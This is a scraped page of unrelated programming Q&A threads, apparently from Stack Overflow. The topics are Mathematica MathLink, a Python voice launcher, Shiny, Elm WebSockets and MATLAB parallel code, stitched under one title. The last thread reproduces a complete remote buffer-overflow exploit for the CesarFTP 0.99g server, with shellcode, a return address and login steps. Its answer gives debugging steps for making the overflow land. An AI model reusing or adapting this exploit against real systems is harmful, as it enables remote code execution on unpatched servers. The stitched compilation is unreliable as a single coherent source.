(MathLink) Correct handling of Messages generated by slave kernel - wolfram-mathematica

When working through MathLink with slave kernel I have a problem with correct parsing TextPackets. In particular when such packet corresponds to a Message generated by the slave kernel I do not understand how to handle it correctly at all. I need such Messages to be printed in the evaluation notebook as if they were generated by master kernel (but with some mark to make clear that it comes from the slave). And I need to separate TextPackets corresponding to Messages from just to Print[] commands. The latter I need to parse correctly too, printing them in the evaluation notebook with a little mark that it is from the slave kernel.
Here is an example of what happens:
link = LinkLaunch[First[$CommandLine] <> " -mathlink"]
Print#LinkRead[link]
LinkWrite[link,
Unevaluated[EnterExpressionPacket[Print[a]; 1/0; Print[b]]]]
While[Not#MatchQ[packet = LinkRead[link], InputNamePacket[_]],
Print[packet]]
The Message by default comes through MathLink in the form:
TextPacket[ 1
Power::infy: Infinite expression - encountered.
0]
It looks ugly. The only way to make it better I have found is to evaluate in the slave kernel
$MessagePrePrint = InputForm;
But I think there should be more straightforward solution. In particular when dealing this way I get TextPackets with HoldForms inside:
TextPacket[Power::infy: Infinite expression HoldForm[0^(-1)] encountered.]
I do not know how to convert such string into a form appropriate for printing as a Message.
P.S. This question comes from that question.

I would like to share a nice hack proposed by Todd Gayley (Wolfram Research) in connection with the given question. Perhaps for somebody it will be useful as also for me. This hack solves the problem in question in rather elegant way.
One technique is to leave the
FormatType at OutputForm for
computations, but override the
handling of Message to temporarily
switch to StandardForm, so that only
Message output comes back in
StandardForm:
LinkWrite[link,
Unevaluated[EnterExpressionPacket[
Unprotect[Message];
Message[args___]:=
Block[{$inMsg = True, result},
SetOptions[$Output, FormatType->StandardForm];
result = Message[args];
SetOptions[$Output, FormatType->OutputForm];
result
] /; !TrueQ[$inMsg]
]
]]
You will get back an ExpressionPacket for the content of a
message. To print that as a Message cell in the
notebook:
cell = Cell[<the ExpressionPacket>, "Message", "MSG"]
CellPrint[cell]
Advanced approach: everything is printed in the StandardForm
For having everything except output returned in StandardForm we could redefine variables $Pre and $Post in the slave kernel in a special way (the following code should be evaluated in the slave kernel):
SetOptions[$Output, {PageWidth -> 72, FormatType -> StandardForm}];
(*$inPost is needed for tracing mode compatibility
(could be switched on by evaluating On[] in the slave kernel)
in which Messages are printed during evaluation of $Post.*)
$inPost = False; Protect[$inPost];
$Pre := Function[inputexpr,
SetOptions[$Output, FormatType -> StandardForm];
Unevaluated[inputexpr], HoldAllComplete];
$Post := Function[outputexpr,
Block[{$inPost = True},
SetOptions[$Output, FormatType -> OutputForm];
Unevaluated[outputexpr]], HoldAllComplete];
Protect[$Pre]; Protect[$Post];
$inMsg = False; Protect[$inMsg];
Unprotect[Message];
Message[args___] /; $inPost := Block[{$inMsg = True},
SetOptions[$Output, FormatType -> StandardForm];
Message[args];
SetOptions[$Output, FormatType -> OutputForm]] /; ! $inMsg;
Protect[Message];

The expression comes in HoldForm always, but with the default $MessagePrePrint it is not
rendered. Try evaluating
HoldForm[1/0]
InputForm[%]
One way to achieve your desired behavior would be to implement your own box renderer. To see that the renderer has to process, set
$MessagePrePrint = ToBoxes[{##}] &
in the slave. Like so:
link = LinkLaunch[First[$CommandLine] <> " -mathlink"]
Print#LinkRead[link]
LinkWrite[link,
Unevaluated[
EnterExpressionPacket[$MessagePrePrint = ToBoxes[{##}] &; Print[a];
1/0; Print[b]]]]
While[Not#MatchQ[packet = LinkRead[link], InputNamePacket[_]],
Print[packet]]

Related

Python Speech Recognition Program Tends To Hang In A Certain Place

This program is not complete but is a work in progress.
import speech_recognition as sr
import subprocess as sp
import time, os
r = sr.Recognizer()
print("Voice Recognition Software\n\n******************************************************************************\n")
while True:
r.energy_threshold = 8000
t = None
with sr.Microphone() as source:
success = False
print (">")
audio = r.listen(source)
try:
print("Processing...")
t = r.recognize_google(audio)
print (": " + t)
except sr.UnknownValueError:
print("Unknown input")
continue
except sr.RequestError as e:
print("An error occured at GAPI\nA common cause is lack of internet connection")
continue
if "open" in t:
t = t.replace("open","")
t = t.replace(" ","")
t = t + ".exe"
print (t)
for a,d,f in os.walk("C:\\"):
for files in f:
if files == t.lower() or files == t.capitalize() or files == t.upper():
pat = os.path.join(a,files)
print (pat)
sp.call([pat])
success = True
if success == True:
continue
The problem I'm facing is that after > or Processing the program sometimes stops responding. No error messages or anything, in the shell it just prints > or Processing and stays there.
This happens randomly, the program can function continuously for a long time but at any given moment for whatever reason it freezes. Usually after a minute or 2 it moves onto the next part and starts responding again but that isn't always the case.
I've attempted to create a sort of fail-safe so if it takes too long to respond the program closes and opens again but I was unsuccessful with that so now I'm trying to figure out the root cause of the problem.
Can someone with experience with this sort of thing help me understand why this is happening?
Edit:
I was able to solve the problem. Turns out there is a timeout parameter here r.listen(source).
I was able to solve the problem. Turns out there is a timeout parameter here r.listen(source).

cell clicked works locally but not on remote shiny server --DT

I have an application that listens for a cell click in a DT in any cell and then updates a plot accordingly. The program works perfectly when I runApp() locally. However when I depoloy the app on a shiny server, the click no longer triggers any actions. This discepancy does not exists for other action listeners such as a simple refresh button, as I have demonstrated in the code below. You can see how the discrepancy between remote and local does not exist for the refresh button condition input$refreshButton!=0, but there is a discrepancy using the length(input$table_cell_clicked)>0 trigger condition.
I have done some research into this error and this is what I know so far:
1) I am getting the warning "Synchronous XMLHttpRequest on the main thread is deprecated because of its detrimental effects to the end user's experience." in the console when the app is deployed remotely. I am told this has something to do with a setting in a file in my shiny server called javascript.min.js and jquery.min.js that says c.async="false" I have searched for every file on my serer with that name or containing the string async="false", and changed the setting to sync="true". However I did not find any files with the exact string c.async="true". I can see the file with this string in the browser console, which gives a location relative to server::port/, but I do not know where that file actually lives on my system, and I suspect it is just a file made on the fly by shiny services.
2) It is possible that this could be fixed with something related to the selectize functionality in some shiny inputs, which may cause the code to execute asynchronously(?). I have tried a few different things but couldn't get any to solve the problem.
3) There is a commonly known annoyance with shiny that it is generally hard to debug. In my case, it would be extremely helpful if I could see the output of the server.R functions as I would when using runApp() locally. Using a call to browser, options(shiny.trace = T) were both recommended, but when I add them to the code below, nothing apprears in the console output. I even tried using sink in order to save to output to some file on the remote server, and it rusn without error, but I do not see any file in the location indicated. If I could at least see the output of this file, or the request/response messages between the server and the client it would go a long way towards debugging this.
So the two questions are: how can I see these messages/output when the app is deployed remotely? And more importantly, how can I implement a fix so that all of my hard work on this project (unfortunately can't disclose any details) will not be a waste.
The basic code for my shiny app is below.
server.R:
server <- function(input, output, session) {
options(shiny.trace = T)
browser()
sink("~/outputfile.txt",append = T,type = "output",split = T)
end_date=as.character(as.Date(Sys.Date()-10))
library(DT)
library(data.table)
library(xtable)
library(zoo)
library(lattice)
library(RSQLite)
output$table = DT::renderDataTable({
thisTable = head(iris)
return(thisTable)
},server = T,options = list(target = 'cell'))
output$plot1 <- renderPlot({
cell= as.numeric(input$table_cell_clicked)
print(cell)
row = as.numeric(input$transtable_row_last_clicked)
print(paste0("last row clicked: ",row))
print(paste0("timestamp: ",Sys.time()))
(cell, file = "/home/plintilhac/cell_file.txt") ## causes error that dumps SND and REC messages to javascript console
# if (length(input$row_last_clicked)>0){ ##works remotely and locally
# if (input$refreshButton!=0){ ##works remotely and locally
if (length(cell)>0){ #works locally, but doesn't work remotely
plot(0,0,xlim = c(-1,1),ylim = c(-1,1))
}
else{return(plot(0,1,xlim = c(-1,1),ylim = c(-1,1)))}}
)
output$text1 <- renderText({
if (input$refreshButton!=0){
"clicked"
}
else{"unclicked"}
})
}
ui.R
shinyUI(
fluidPage(
fluidRow(plotOutput("plot1",click = "plot_click"),theme = "bootstrap.css"),
mainPanel(
DT::dataTableOutput('table'),
fluidRow(
actionButton("refreshButton", "refresh")
)
)
))
EDIT:
I was able to get some output by placing an erroneous line of code right after the cell variable is defined, causing the shiny server to dump output to the javascript console. At this time this is the only way I know how to capture any output. However, the output is quite informative, as it shows that the table_cell_clicked attribute is not being exported on the remote server at all, whereas other attributes such as row_last_clicked are.
here is the output I get when the server is run locally ithout the erroneous line (note it includes table_cell_clicked as a feature):
SEND
{"config":{"workerId":"","sessionId":"ef292cd0c98baee4afa504aa8330b49e"}}
RECV
{"method":"init","data":{"refreshButton:shiny.action":0,".clientdata_output_plot1_width":873,".clientdata_output_plot1_height":400,".clientdata_output_plot1_hidden":false,".clientdata_output_table_hidden":false,".clientdata_pixelratio":1.100000023841858,".clientdata_url_protocol":"http:",".clientdata_url_hostname":"d2rm01",".clientdata_url_port":"8787",".clientdata_url_pathname":"/p/4944/",".clientdata_url_search":"",".clientdata_url_hash_initial":"",".clientdata_singletons":"",".clientdata_allowDataUriScheme":true}}
SEND
{"errors":[],"values":{"table":{"x":{"filter":"none","container":"<table
class=\"display\">\n <thead>\n <tr>\n <th> </th>\n
<th>Sepal.Length</th>\n <th>Sepal.Width</th>\n
<th>Petal.Length</th>\n <th>Petal.Width</th>\n
<th>Species</th>\n </tr>\n
</thead>\n</table>","options":{"target":"cell","selectize":true,"columnDefs":[{"className":"dt-right","targets":[1,2,3,4]},{"orderable":false,"targets":0}],"order":[],"autoWidth":false,"orderClasses":false,"ajax":{"url":"session/ef292cd0c98baee4afa504aa8330b49e/dataobj/table?w=","type":"POST","data":"function(d)
{\nd.search.caseInsensitive = true;\nd.escape = true;\nvar encodeAmp
= function(x) { x.value = x.value.replace(/&/g, \"%26\"); }\nencodeAmp(d.search);\n$.each(d.columns, function(i, v)
{encodeAmp(v.search);});\n}"},"serverSide":true,"processing":true},"selection":{"mode":"multiple","selected":null,"target":"row"}},"evals":["options.ajax.data"],"deps":[{"name":"datatables","version":"1.10.7","src":{"file":"/home/plintilhac/R/x86_64-pc-linux-gnu-library/3.2/DT/htmlwidgets/lib/datatables/js","href":"datatables-1.10.7"},"meta":null,"script":"jquery.dataTables.min.js","stylesheet":null,"head":null,"attachment":null},{"name":"datatables-default","version":"1.10.7","src":{"file":"/home/plintilhac/R/x86_64-pc-linux-gnu-library/3.2/DT/htmlwidgets/lib/datatables/css/default","href":"datatables-default-1.10.7"},"meta":null,"script":[],"stylesheet":["dataTables.extra.css","jquery.dataTables.min.css"],"head":null,"attachment":null}]},"plot1":{"src":"data:image/png;[base64
data]","width":873,"height":400,"coordmap":[{"domain":{"left":-1.08,"right":1.08,"bottom":-1.08,"top":1.08},"range":{"left":58.9093125,"right":842.8269375,"bottom":325.745454545455,"top":57.8909090909091},"log":{"x":null,"y":null},"mapping":{}}]}},"inputMessages":[]}
RECV
{"method":"update","data":{"table_rows_selected":[],"table_rows_current":[],"table_rows_all":[],"table_state":null,"table_search":"","table_cell_clicked":{}}}
SEND {"progress":{"type":"binding","message":{"id":"plot1"}}} SEND
{"errors":[],"values":{"plot1":{"src":"data:image/png;[base64
data]","width":873,"height":400,"coordmap":[{"domain":{"left":-1.08,"right":1.08,"bottom":-1.08,"top":1.08},"range":{"left":58.9093125,"right":842.8269375,"bottom":325.745454545455,"top":57.8909090909091},"log":{"x":null,"y":null},"mapping":{}}]}},"inputMessages":[]}
RECV
{"method":"update","data":{"table_rows_current":[1,2,3,4,5,6],"table_rows_all":[1,2,3,4,5,6]}}
RECV {"method":"update","data":{"plot_click":null}} RECV
{"method":"update","data":{"table_cell_clicked":{"row":1,"col":2,"value":3.5},"table_rows_selected":[1],"table_row_last_clicked":1}}
SEND {"progress":{"type":"binding","message":{"id":"plot1"}}} SEND
{"errors":[],"values":{"plot1":{"src":"data:image/png;[base64
data]","width":873,"height":400,"coordmap":[{"domain":{"left":-1.08,"right":1.08,"bottom":-1.08,"top":1.08},"range":{"left":58.9093125,"right":842.8269375,"bottom":325.745454545455,"top":57.8909090909091},"log":{"x":null,"y":null},"mapping":{}}]}},"inputMessages":[]}
RECV {"method":"update","data":{"table_rows_selected":[]}}
while this is the output when it is run remotely with the erroneous line (note table_cell_clicked is not being received):
Loading required package: DBI
SEND {"errors":[],"values":{"table":{"x":{"container":"<table class=\"display\">\n <thead>\n <tr>\n <th> </th>\n <th>Sepal.Length</th>\n <th>Sepal.Width</th>\n <th>Petal.Length</th>\n <th>Petal.Width</th>\n <th>Species</th>\n </tr>\n </thead>\n</table>","options":{"target":"cell","selectize":true,"columnDefs":[{"className":"dt-right","targets":[1,2,3,4]},{"orderable":false,"targets":0}],"order":[],"autoWidth":false,"orderClasses":false,"ajax":{"url":"session/07190712bb533d7cf1929522b19e436a/dataobj/table?w=","type":"POST","data":"function(d) {\nd.search.caseInsensitive = true;\nd.escape = true;\n}"},"serverSide":true,"processing":true},"callback":null,"filter":"none","selection":"multiple"},"evals":["options.ajax.data"],"deps":[{"name":"datatables","version":"1.10.7","src":{"file":"/usr/local/lib/R/site-library/DT/htmlwidgets/lib/datatables/js","href":"datatables-1.10.7"},"meta":null,"script":"jquery.dataTables.min.js","stylesheet":null,"head":null,"attachment":null},{"name":"datatables-default","version":"1.10.7","src":{"file":"/usr/local/lib/R/site-library/DT/htmlwidgets/lib/datatables/css/default","href":"datatables-default-1.10.7"},"meta":null,"script":[],"stylesheet":["dataTables.extra.css","jquery.dataTables.min.css"],"head":null,"attachment":null}]},"plot1":{"src":"data:image/png;[base64 data]","width":1745,"height":400,"coordmap":[{"domain":{"left":-1.08,"right":1.08,"bottom":-1.08,"top":1.08},"range":{"left":58.9062532569046,"right":1714.82850442939,"bottom":325.745454545455,"top":57.8909090909091},"log":{"x":null,"y":null},"mapping":{}}]}},"inputMessages":[]}
RECV {"method":"update","data":{"table_rows_selected":[],"table_rows_current":[],"table_rows_all":[],"table_state":null,"table_search":""}}
RECV {"method":"update","data":{"table_rows_current":["1","2","3","4","5","6"],"table_rows_all":["1","2","3","4","5","6"]}}
RECV {"method":"update","data":{"table_rows_selected":["3"],"table_row_last_clicked":"3"}}
RECV {"method":"update","data":{".clientdata_output_plot1_width":463}}
SEND {"progress":{"type":"binding","message":{"id":"plot1"}}}
SEND {"errors":[],"values":{"plot1":{"src":"data:image/png;[base64 data]","width":463,"height":400,"coordmap":[{"domain":{"left":-1.08,"right":1.08,"bottom":-1.08,"top":1.08},"range":{"left":58.9256188605108,"right":432.81858546169,"bottom":325.745454545455,"top":57.8909090909091},"log":{"x":null,"y":null},"mapping":{}}]}},"inputMessages":[]}
RECV {"method":"update","data":{"plot_click":null}}
SEND {"config":{"workerId":"","sessionId":"7b20c500ee810e198324a75b6512a353"}}
RECV {"method":"init","data":{"refreshButton:shiny.action":0,"ss-net-opt-websocket":true,"ss-net-opt-xdr-streaming":true,"ss-net-opt-xhr-streaming":true,"ss-net-opt-iframe-eventsource":true,"ss-net-opt-iframe-htmlfile":true,"ss-net-opt-xdr-polling":true,"ss-net-opt-xhr-polling":true,"ss-net-opt-iframe-xhr-polling":true,"ss-net-opt-jsonp-polling":true,".clientdata_output_plot1_width":463,".clientdata_output_plot1_height":400,".clientdata_output_plot1_hidden":false,".clientdata_output_table_hidden":false,".clientdata_pixelratio":1.100000023841858,".clientdata_url_protocol":"http:",".clientdata_url_hostname":"d2rm01",".clientdata_url_port":"3838",".clientdata_url_pathname":"/testFunnel/",".clientdata_url_search":"",".clientdata_url_hash_initial":"",".clientdata_singletons":"",".clientdata_allowDataUriScheme":true}}
Error in source(file, ..., keep.source = TRUE, encoding = checkEncoding(file)) :
/srv/shiny-server/testFunnel/server.R:38:10: unexpected ','
37: #print(paste0("timestamp: ",Sys.time()))
38: (cell,

"input is undefined" error when using WebSockets in Elm

I'm trying to set up a simple example using WebSockets in Elm, but I keep getting the run time error "input is undefined". The console does not give me any line number in my elm file or anything like that.
I was trying to use WebSockets in a large project, and I kept getting the error "a is undefined", so I decided to make this small example to try and isolate the problem.
I wrote some code that receives messages containing numbers from the websocket. It increments the numbers, and then sends the new numbers back out over the web socket. The server does the same thing, sending back the number incremented by 1 to the client.
Here is the elm code:
import Graphics.Element (Element)
import Signal
import Signal (Signal)
import Text
import Window
import WebSocket
import String
type State = Num Int
| StateErr String
input : Signal String
input =
WebSocket.connect "ws://localhost:4567/test" sendToServer
sendToServer : Signal String
sendToServer =
Signal.dropRepeats
(Signal.dropIf (\str -> str == "") "" (Signal.map formatReply state))
formatReply : State -> String
formatReply state =
case state of
Num n -> toString n
StateErr str -> ""
stepState : String -> State -> State
stepState str state =
case (String.toInt str) of
Ok n -> Num (n + 1)
Err str -> StateErr str
display : (Int,Int) -> State -> Element
display (w,h) state = Text.asText state
state : Signal State
state =
Signal.foldp stepState (Num 0) input
main : Signal Element
main =
Signal.map2 display Window.dimensions state
I tested the server side, and it's working fine, so I definitely do not think that the server is causing the issue.
When I tried the code in Firefox, I get "input is undefined". When I run it in Chrome, I get "Cannot read property 'kids' of undefined".
In Chrome, upon looking at the stack trace it seems that when the code goes to run, input is undefined. Is this a bug with the WebSocket library?
I'm very new to using Elm, so I'd appreciate any help/advice on using websockets.
I learned that the cause of my troubles, is that as of now the WebSockets library in elm is not fully implemented. I also learned that I can accomplish my goals using ports, and then implementing the websocket in javascript.
I added the following javascript to my html file:
var game = Elm.fullscreen(Elm.SlimeWarz, {rawServerInput: ""});
var socket = new WebSocket("ws://localhost:4567");
socket.onopen = function(){
console.log("Socket has been opened.");
}
socket.onmessage = function(msg){
game.ports.rawServerInput.send(msg.data);
}
game.ports.sendToServer.subscribe(sendOverWebsocket);
function sendOverWebsocket(str) {
socket.send(str);
}
Then in elm, I can send data using a ported Signal called sendtoServer
port sendToServer : Signal String
and I can view all the data I receive through the ported signal rawServerInput
port rawServerInput : Signal String
Answer
I'm going to use part of my answer to this question. I think your solution to use ports and do the websocket part in JavaScript is better than the hack I described in that answer, but you may still want to look at it. Once Elm 0.15 is released this problem should go away entirely because of a language feature and the revamp of Websocket (Http gets revamped too btw).
Context: Reason for error
The reason you get the runtime error is because of a compiler bug. The compiler only generates correct code on recursive functions, while it accepts any recursive value. Notice that your input depends on sendToServer, sendToserver depends on state and sContext: tate depends on input.
Context: Code architecture
Those kinds of cyclic signals are usually a sign of bad program architecture. You can find more on that subject here. But your architecture is not at fault here. The problem lies with the Websocket library which doesn't steer you in the right direction.

Using parfor and labSend/labRecieve

I want to run two matlab scripts in parallel for a project and communicate between them. The purpose of this is to have one script do image analysis and sending the results to the other which will use it for more calculations (time consuming, but not related to the task of finding stuff in the images). Since both tasks are time consuming, and should preferably be done in real time, I believe that parallelization is necessary.
To get a feel for how this should be done I created a test script to find out how to communicate between the two scripts.
The first script takes a user input using the built in function input, and then using labSend sends it to the other, which recieves it, and prints it.
function [blarg] = inputStuff(blarg)
mpiInit(); %added because of error message, but do not work...
for i=1:2
labBarrier; % added because of error message
inp = input('Enter a number to write');
labSend(inp);
if (inp == 0)
break;
else
i = 1;
end
end
end
function [ blarg ] = testWrite( blarg )
mpiInit(); % added because of error message, but does not help
par = 0;
if ( blarg == 0)
par = 1;
end
for i = 1:10
if (par == 1)
labBarrier
delta = labReceive();
i = 1;
else
delta = input('Enter number to write');
end
if (delta == 0)
break;
end
s = strcat('This lab no', num2str(labindex), '. Delta is = ')
delta
end
end
%%This is the file test_parfor.m
funlist = {#inputStuff, #testWrite};
matlabpool(2);
mpiInit(); % added because of error message, but does not help
parfor i=1:2
funlist{i}(0);
end
matlabpool close;
Then, when the code is run, the following error message appears:
Starting matlabpool using the 'local' profile ... connected to 2 labs.
Error using parallel_function (line 589)
The MPI implementation has not yet been loaded. Please
call mpiInit.
Error stack:
testWrite.m at 11
Error in test_parfor (line 8)
parfor i=1:2
Calling the method mpiInit does not help... (Called as shown in the code above.)
And nowhere in the examples that mathworks have in the documentation, or on their website, show this error or what to do with it.
Any help is appreciated!
You would typically use constructs such as labSend, labRecieve and labBarrier within an spmd block, rather than a parfor block.
parfor is intended for implementing embarrassingly parallel algorithms, in other words algorithms that consist of multiple independent tasks that can be run in parallel, and do not require communication between tasks.
I'm stretching my knowledge here (perhaps someone more expert can correct me), but as I understand things, it does not set up an MPI ring for communication between workers, which is probably the explanation for the (rather uninformative) error message you're getting.
An spmd block enables communication between workers using labSend, labRecieve and labBarrier. There are quite a few examples of using them all in the documentation.
Sam is right that the MPI functionality is not enabled during parfor, only during spmd. You need to do something more like this:
spmd
funlist{labindex}(0);
end
(Sam is also quite right that the error message you saw is pretty unhelpful)

Why is cesarftp python exploits not working?

I tested on my server that has cesarftp running. I debugged the ftp server on the server using ollydbg.
The exploit I used is http://www.exploit-db.com/exploits/1906/
#!/usr/bin/python
#CesarFtp 0.99g 0day Exploit
#Proof of Concept: execute calc.exe
#Tested on XP sp2 polish
#Bug found by h07 [h07#interia.pl]
#Date: 10.06.2006
from socket import *
shellcode = ( #execute calc.exe <metasploit.com>
"\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4")
def intel_order(i):
a = chr(i % 256)
i = i >> 8
b = chr(i % 256)
i = i >> 8
c = chr(i % 256)
i = i >> 8
d = chr(i % 256)
str = "%c%c%c%c" % (a, b, c, d)
return str
host = "192.168.0.1"
port = 21
user = "ftp"
password = "ftp"
EIP = 0x773D10A4 #jmp esp <shell32.dll XP professional sp2 english>
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)
s.send("user %s\r\n" % (user))
print s.recv(1024)
s.send("pass %s\r\n" % (password))
print s.recv(1024)
buffer = "MKD "
buffer += "\n" * 671
buffer += "A" * 3 + intel_order(EIP)
buffer += "\x90" * 40 + shellcode
buffer += "\r\n"
print "len: %d" % (len(buffer))
s.send(buffer)
print s.recv(1024)
s.close()
#EoF
# milw0rm.com [2006-06-12]
I changed the "JMP ESP" address to the correct one (as the server is not running Polish XP; it's running English XP. I found this using executable modules on ollydbg and searching for command "JMP ESP".)
However, the exploit failed to execute properly, and after logging in, the ftp server just crashed, not bringing up shell.
It seems to me that the code only needs modification on "JMP ESP" area..
What did I do wrong?
Edit: the shellcode seems to, if properly executed, bring up calc.exe. This didn't happen. And obviously, there was no shell obtained.
It's possible the vulnerable function is not copying your data with strcpy() but with strcat(). This is a common rookie mistake when writing exploits by trial and error.
Since the value being read is supposed to be a path, it's possible that what's really happening here is that your string is being concatenated to the path of the root of the FTP server.
If that happens, then you not only have to change the just address but the offset to it in the payload string (the "671" value). Unfortunately this would also mean the exploit will depend on knowing the exact location of the FTP root.
To make sure you'll have to attach a debugger and see what's going on before and after the payload is sent. Try the following:
Attach the debugger to the FTP server.
Run the exploit. It will crash the server.
Now EIP will point to 0x90909090 or 0x0d0d0d0d. Examine the stack until you find a valid pointer to code (the return address of a parent function).
Now kill the server and start it over.
Attach the debugger again, and set a breakpoint at the beginning of that parent function you found.
Run the exploit again. Now the breakpoint should hit. Run the code step by step until you find the vulnerable function. Now you'll be able to see which function has the bug and what the stack looks like before you smash it.

Resources